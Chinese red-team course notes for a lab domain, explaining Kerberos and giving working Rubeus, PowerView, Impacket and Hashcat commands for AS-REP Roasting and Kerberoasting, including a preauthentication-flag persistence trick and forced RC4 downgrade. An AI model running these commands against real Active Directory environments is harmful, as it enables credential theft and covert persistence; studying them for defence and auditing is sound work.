1. 开篇、回顾与本周规划
1.1 上周回顾与本周节奏
放缓速度: 为了确保学员能跟上进度,巩固之前外网打点阶段的重要环节,本周刻意放慢了教学节奏。
复习要求: 学员需要利用本周时间,回顾并熟练掌握之前的技术操作。
1.2 技能与笔记要求
熟练操作: 之前的技术点需要达到熟练操作的程度。
笔记体系: 强调建立个人笔记体系的重要性。可以借鉴,但要有自己的思考和结构,以应对后续更复杂、信息量更大的攻击链。混乱的笔记会导致后续学习更加困难。
1.3 本周核心任务
域枚举: 继续上周计划,对圈定的
192.168.20.x和21.x网段的五台目标机器,进行深入的、与域相关的枚举。经典域攻击: 实施 AS-REP Roasting 或 Kerberoasting。这两种是初期域渗透中非常经典的攻击手法。
哈希破解: 利用上周讲解的爆破技术(John/Hashcat、规则应用等)对 Roasting 攻击获取到的哈希进行破解。
凭据利用: 尝试使用破解得到的凭据进行登录或访问。
目标: 完成域枚举,成功执行至少一种 Roasting 攻击,破解哈希并利用凭据获得初步访问。
2. 爆破专题深化与补充
2.1 上周爆破内容回顾
上周主要使用 John 和 Hashcat 破解了两个示例哈希:一个简单的 MD5 哈希 (
VIP SU) 和一个 Kerberos TGS 哈希 (etype 23)。重点在于拓展讲解了爆破过程中的细节、工具选择、参数优化、规则应用等深度内容。
2.2 字典生成工具 (cewl, crunch)
对于字典生成,
cewl(基于 Web 爬取) 和crunch(基于规则生成) 是两个核心且通常足够使用的工具。若有更专业需求(如负责团队爆破工作),可单独沟通学习更高级的字典生成技术。
2.3 新资源:AssetNote Wordlists
来源: GitHub 上的
assetnote/wordlists仓库。由 AssetNote 团队维护,讲师团队的爆破手推荐
特点:
数据源广泛: 利用 Common Crawl (互联网网页存档)、GitHub Actions 等数据。
自动更新: 每月 28 日自动更新,保持字典的时效性。
分类清晰: 按文件扩展名、Web 技术 (如 Ruby on Rails)、应用等进行分类,便于针对性使用。
可定制: 支持用户提供种子 URL 或内容生成自定义字典(注意生成结果公开)。
获取: 可使用
wget命令下载。Bash
您可以使用以下命令一次下载所有单词表: wget -r --no-parent -R "index.html*" https://wordlists-cdn.assetnote.io/data/ -nH -e robots=off学习价值: 不仅是获取字典,更重要的是学习其分类方法、生成逻辑,理解不同场景下的特征词汇,提升字典使用的针对性。
2.4 字典应用与爆破哲学
前提: 爆破工具的参数配置、规则应用等优化手段应优先于单纯追求字典大小。
针对性: 理解字典分类,根据目标的技术栈、业务特性选择合适的字典。下载后观察词条特征,有助于理解其适用性。
规则与掩码: 规则 (
-r) 比掩码 (-a 3的纯暴力) 更常用且有效,因为规则能模拟更真实的密码构造方式。掩码通常用于已知部分密码结构或密码较短的场景。爆破心态: 爆破本质上是概率性尝试。由于信息不对等(无法预知密码来源和强度),不能保证一定成功。
2.5 字典进阶处理:比较、合并与规则
工具/脚本: 存在用于比较、合并、去重、进化 (Evolving) 字典的工具或脚本 (PDF 中提到了一个相关脚本)。
分析与定制:
观察目标字典特征(分段查看)。
基于目标的用户命名规则、密码策略(若能获取)来重写或定制破解规则,能显著提高效率。
密码策略: 了解目标的密码策略(长度、复杂度、禁用字符等)对爆破非常有帮助。现代密码管理器可能使策略更复杂。
3. Kerberos 协议深入理解
3.1 Kerberos 基础与核心价值
定义: 一种网络认证协议,允许实体(用户、计算机)在非安全网络上安全地证明其身份,并访问服务。
默认端口: TCP/UDP 88。
核心地位: Windows 2000 及以后域环境的默认认证协议。
核心价值: 实现集中式身份认证,用户只需登录一次即可访问授权的各种网络服务,无需重复输入密码,服务器也无需存储用户密码。
3.2 双跳问题 (Double Hop Problem) 与 NTLM 局限
双跳问题: 用户通过 A 机器远程登录到 B 机器后,再试图从 B 机器访问 C 机器资源时,身份凭据无法传递,导致认证失败。
NTLM 问题根源: NTLM 基于会话的哈希认证机制,认证信息仅在初始会话有效,无法安全地跨机器(第二跳)转发。
3.3 Kerberos 解决方案:票据与委派
票据 (Tickets): Kerberos 使用 TGT 和 ST(服务票据)作为身份和授权的凭证,这些票据被设计为可以安全传递。
委派 (Delegation): Kerberos 的核心机制之一,允许服务代表用户去访问其他服务。正是委派机制解决了双跳问题。(委派的类型和攻击将在后续深入)。
3.4 Kerberos 核心组件
User (Client): 请求服务的主体。
Service: 提供服务的资源,由 SPN (Service Principal Name) 标识。SPN 是 AD 账户(用户或计算机)的一个属性,格式如
service/host:port。KDC (Key Distribution Center): 密钥分发中心,域内的认证权威。通常由 DC 担任。包含两个服务:
AS (Authentication Service): 认证用户,发放 TGT。
TGS (Ticket Granting Service): 验证 TGT,发放 ST。
3.5 Kerberos 认证三阶段详解 (结合 PDF 图示)
3.5.1 阶段一:AS Exchange (请求 TGT)
AS-REQ (用户 -> KDC/AS)
用户提供凭据(如密码),客户端计算出用户密钥 (User Key)。
预认证 (Pre-authentication): 客户端用 User Key 加密当前时间戳 (作为 Authenticator)。
请求包含:用户名 (明文),目标服务 (krbtgt/DOMAIN),加密的时间戳。
目的: KDC 通过解密时间戳验证用户密码是否正确。
AS-REP (KDC/AS -> 用户)
KDC 验证预认证成功(或预认证被禁用)。
生成会话密钥 1 (SK1)。
创建 TGT:包含用户名、域信息、SK1 副本、有效期等,用 KDC 的
krbtgt密钥加密。将 SK1 + 有效期等信息,用用户密钥 (User Key) 加密。
发送:(加密的 SK1 部分) + (加密的 TGT)。
用户解密获得 SK1,无法解密 TGT。
3.5.2 阶段二:TGS Exchange (请求服务票据 ST/TGS)
TGS-REQ (用户 -> KDC/TGS)
用户想访问服务 (SPN 已知)。
创建 Authenticator (含时间戳),用 SK1 加密。
请求包含:目标服务的 SPN,用户持有的 TGT,加密的 Authenticator。
TGS-REP (KDC/TGS -> 用户)
KDC 用
krbtgt密钥解密 TGT,获取 SK1。用 SK1 解密 Authenticator 进行验证。
验证成功:
生成会话密钥 2 (SK2)。
创建 服务票据 (ST / TGS Ticket):包含用户名、SK2 副本、授权信息 (PAC)、有效期等,用目标服务账户的密钥加密。
将 SK2 + 有效期等信息,用 SK1 加密。
发送:(加密的 ST) + (加密的 SK2)。
用户用 SK1 解密获得 SK2,无法解密 ST。
3.5.3 阶段三:AP Exchange (访问服务)
AP-REQ (用户 -> 服务)
用户创建 Authenticator (含时间戳),用 SK2 加密。
请求包含:ST (服务票据),加密的 Authenticator。
服务验证与 AP-REP (服务 <-> 用户):
服务用自身密钥解密 ST,获取 SK2、用户信息、PAC。
用 SK2 解密 Authenticator 进行验证。
验证成功,服务检查 PAC 确认权限。
(可选)服务可能发送用 SK2 加密的 AP-REP 给用户,实现双向认证。
服务授予访问权限。
3.6 红队视角:关注加密密钥与数据流
核心: 理解每一步谁加密了什么,用的是谁的密钥。这决定了哪些信息可能被拦截和破解。
TGT: 由
krbtgt密钥加密。控制krbtgt密钥 = 控制域 (Golden Ticket)。AS-REP (SK1 部分): 由用户密钥加密。-> AS-REP Roasting。
ST (TGS Ticket): 由服务账户密钥加密。-> Kerberoasting / Silver Ticket。
TGS-REP (SK2 部分): 由 SK1 加密。
AP-REQ (Authenticator): 由 SK2 加密。
理解这些关系是构建 Kerberos 攻击链的基础。
4. Kerberos 攻击技术详解
4.1 Kerberos 攻击主要分类
票据请求攻击 (Ticket Request Attack / Roasting): AS-REP Roasting, Kerberoasting。
票据伪造攻击 (Ticket Forgery Attack): Golden Ticket, Silver Ticket。(本次不涉及)
委派攻击 (Delegation Attack): Exploiting Unconstrained, Constrained, RBCD。(后续重点)
密码喷洒 (Password Spraying): 针对认证过程的暴力破解。
4.2 票据请求攻击 (Roasting) 详解
共同点: 都涉及获取 Kerberos 协议交互中产生的、用某种(用户或服务)密钥加密的数据块,然后进行离线破解。
4.2.1 AS-REP Roasting (AS-REP 烤票攻击)
原理: 利用禁用预认证的用户账户。攻击者可直接请求 AS-REP,获取用用户密钥加密的 SK1 部分,离线破解用户密码。
前提: 知道用户名,且该用户禁用了预认证。无需初始凭据。
价值: 获取初始用户凭据。相对少见但有效。可用于持久化。
4.2.2 Kerberoasting (TGS-REP 烤票攻击)
原理: 利用注册了 SPN 且密码较弱的服务账户。任意认证用户可请求该 SPN 的 TGS 票据 (ST),获取用服务账户密钥加密的 ST,离线破解服务账户密码。
前提: 拥有任意有效的域用户凭据。目标服务账户密码可被破解。
价值: 获取高权限服务账户凭据,是常见的权限提升和横向移动手段。
5. AS-REP Roasting 攻击实践
5.1 攻击原理与利用条件 (禁用预认证)
AD 用户账户属性中勾选了 "Do not require Kerberos preauthentication"。

允许任何知道用户名的人在无密码情况下获取 AS-REP 中的加密部分。
5.2 实战价值与场景
初始访问: 如果能从未认证状态枚举到此类用户,可获取第一批域凭据。
权限提升/持久化: 如果已获得对某些账户的修改权限,可临时启用此标志,获取哈希后再恢复,作为一种隐蔽获取凭据的方式。特别适用于不便直接重置密码的场景,或在监控较少的设备账户上设置持久化后门。
配置错误来源: 老旧应用集成、供应商安装指南要求、管理员疏忽。
5.3 枚举方法 (PowerView, Rubeus, Impacket)
PowerView (PowerShell):
PowerShell
Import-Module .\PowerView.ps1 Get-DomainUser -UACFilter DONT_REQ_PREAUTHRubeus (C#):
PowerShell
.\Rubeus.exe asreproast /format:hashcat # 枚举并输出 Hashcat 格式Impacket (
GetNPUsers.py, Linux/Python):Bash
# 需要已有域凭据 (redpen) 来查询 AD impacket-GetNPUsers aptlabs.local/redpen -outputfile userlist.txt # 或者,如果无凭据但有用户列表,尝试对列表中的用户请求 impacket-GetNPUsers aptlabs.local/ -usersfile users.txt -no-pass -format hashcat -outputfile hashes.txt
5.4 执行攻击 (Rubeus, Impacket GetNPUsers)
Rubeus:
PowerShell
.\Rubeus.exe asreproast /user:jenna.smith /domain:aptlabs.local /dc:dc01.aptlabs.local /nowrap /outfile:hashes.txtImpacket (
GetNPUsers.py):Bash
# 请求指定用户的哈希 impacket-GetNPUsers aptlabs.local/ -usersfile vulnerable_users.txt -request -format hashcat -outputfile hashes.txt # 或者直接在枚举时添加 -request 参数
5.5 哈希破解 (Hashcat Mode 18200)
获取到的哈希格式通常为
$krb5asrep$23$<user>@<DOMAIN>:<hash_part>(etype 23 为 RC4)。Hashcat 命令:
Bash
hashcat -m 18200 hashes.txt rockyou.txt
5.6 持久化利用:修改预认证标志
前提: 对目标账户有
GenericAll或等效写入权限。PowerView 命令:
PowerShell
# 启用 DONT_REQ_PREAUTH (实际是设置标志位) Set-DomainObject -Identity <target_username> -XOR @{useraccountcontrol=4194304} -Verbose # 执行 AS-REP Roasting 获取哈希... # (可选) 恢复设置 (再次执行 XOR 操作) Set-DomainObject -Identity <target_username> -XOR @{useraccountcontrol=4194304} -Verbose
5.7 Linux vs Windows 执行
两种环境均可执行,选择取决于当前立足点和偏好。Linux 常用 Impacket,Windows 常用 PowerView/Rubeus。
6. Kerberoasting 攻击实践
6.1 攻击原理与利用条件 (SPN & 弱密码)
目标是绑定了 SPN 的服务账户。
需要一个有效的域凭据(任何用户)来请求 TGS 票据。
成功关键在于服务账户的密码是否足够弱以被离线破解。
6.2 SPN 与服务账号关联机制
SPN 是 AD 账户(用户或计算机)的属性,用于标识服务实例。
存储在 AD 中的信息包括 SPN、关联账户、机器名、端口等。
理解这些关联有助于构造正确的请求和排查问题。
6.3 风险来源:为何 SPN 常绑定用户账号
配置复杂性: 设置专用服务账户 (MSA/gMSA) 较麻烦。
兼容性问题: 第三方或老旧应用可能不支持服务账户密码轮换。
运维便利性/疏忽: 管理员使用普通用户账户运行服务。
审计要点: 发现 SPN 绑定到普通用户账户本身就是潜在风险点,即使当前密码强,未来也可能被修改为弱密码。严重性应标记,并指出风险。
6.4 手动与自动化枚举 SPN 账户 (LDAP, PowerShell, PowerView, SetSPN)
LDAP 过滤器 (手动/脚本):
代码段
(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))(查找绑定了 SPN 的用户账户)
PowerShell AD Module:
PowerShell
Get-ADUser -Filter 'servicePrincipalName -like "*"' -Properties servicePrincipalNamePowerView:
PowerShell
Get-DomainUser -SPNSetSPN.exe (Windows 内置):
DOS
setspn -Q */* # 查询域内所有 SPN setspn -T <domain> -Q */* # 查询指定域 setspn -L <accountname> # 列出账户的 SPN
6.5 执行攻击获取 TGS 票据 (PowerView, Rubeus, Impacket GetUserSPNs)
PowerView:
PowerShell
# 方法一:组合命令 Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv tgs.csv -NoTypeInformation # 方法二:专用函数 Invoke-Kerberoast -Format Hashcat -Outputfile tgs.txtRubeus:
PowerShell
# 对所有可 Kerberoast 用户执行 .\Rubeus.exe kerberoast /nowrap /outfile:hashes.txt # 对特定用户 .\Rubeus.exe kerberoast /user:<username> /outfile:hashes.txt # 统计信息,不发包 .\Rubeus.exe kerberoast /statsImpacket (
GetUserSPNs.py):Bash
# 请求所有可 Kerberoast 用户的票据哈希 impacket-GetUserSPNs <DOMAIN>/<USER>:<PASSWORD> -request -outputfile hashes.txt
6.6 哈希破解 (Hashcat Mode 13100 - RC4)
获取到的 TGS 票据哈希格式通常为
$krb5tgs$23$<SPN>@<DOMAIN>:<hash_part>。Hashcat 命令:
Bash
hashcat -m 13100 hashes.txt rockyou.txt结果示例 (PDF): 成功破解了
sqlqa,sqlprod,sql-test,sqldev四个账户的密码 (均为Welcome1)。
6.7 加密类型影响 (RC4 vs AES) 与强制 RC4
检查加密类型: Rubeus
/stats或查看 AD 账户msDS-SupportedEncryptionTypes属性。AES 哈希: 模式
19600(AES-128),19700(AES-256)。破解难度远大于 RC4。哈希前缀为$krb5tgs$17$或$krb5tgs$18$。强制 RC4 (
/tgtdeleg): Rubeus 的/tgtdeleg标志可以尝试请求 RC4 加密的 TGS 票据,即使账户支持 AES。这利用了 Kerberos 委派获取 TGT Delegation Ticket 的过程,可能迫使 KDC 降级使用 RC4。如果成功,能获得更易破解的 RC4 哈希 (13100)。并非所有环境都有效。
6.8 无需凭据的 Kerberoasting (利用 AS-REP Roasting 账户)
原理: 如果存在一个禁用了预认证的账户 (可被 AS-REP Roasting),理论上可以利用这个账户的身份(无需知道其密码)去请求其他服务的 TGS 票据,从而进行 Kerberoasting。
Rubeus 实现: 使用
createnetonly创建一个无凭据的网络登录会话,然后执行kerberoast时使用/nopreauth:<ASREP_User>参数指定用哪个禁用预认证的用户身份去请求 TGS 票据。PowerShell
# 1. 创建无凭据会话 .\Rubeus.exe createnetonly /program:cmd.exe /show # 2. 在新 CMD 窗口中执行 .\Rubeus.exe kerberoast /nopreauth:amber.smith /domain:aptlabs.local /spn:MSSQLSvc/SQL01:1433 /nowrap
6.9 Linux vs Windows 执行
同样,Kerberoasting 也可以在 Linux (Impacket) 或 Windows (PowerView, Rubeus) 环境下执行。
7. 总结与后续展望
7.1 本周核心理解要点
深入理解 Kerberos 认证的三个阶段及各阶段的数据交换和加密机制。
掌握 AS-REP Roasting 和 Kerberoasting 的原理、利用条件、攻击流程和相关工具。
理解 SPN 与服务账户的关系,以及人为配置带来的安全风险。
巩固爆破技术,特别是规则的应用和字典的选择策略。
7.2 后续课程内容预告 (PS, ADFS, Relay, Rubeus 等)
PowerShell 深入: PowerView, AD Module, PS Remoting (小专题)。
ADFS 攻击: 下一个主要的复杂攻击模块。
委派攻击
Impacket 框架
Rubeus 工具
Kerberos 中继 (Relay)
7.3 工具与环境配置 Q&A (kerbrute, PAC, Linux 票据管理)
kerbrute: 用于用户枚举,但久未更新。PAC (Privilege Attribute Certificate): 票据中的授权信息,BloodHound 等工具会解析。
Linux 票据管理: 使用
klist,kinit等工具,在后续 Kerberos 中继等攻击中会用到,需要配置相关环境。
7.4 KRBTGT 账户提及
用于加密 TGT 的关键账户,其哈希是 Golden Ticket 的核心。
7.5 靶场后续阶段复杂度预告 (ADFS, 客户关系系统等)
接下来几周会进入靶场的复杂阶段,涉及 ADFS、可能的 CRM 系统攻击等,环境和攻击链将更加混乱和 challenging。
-.-
评论区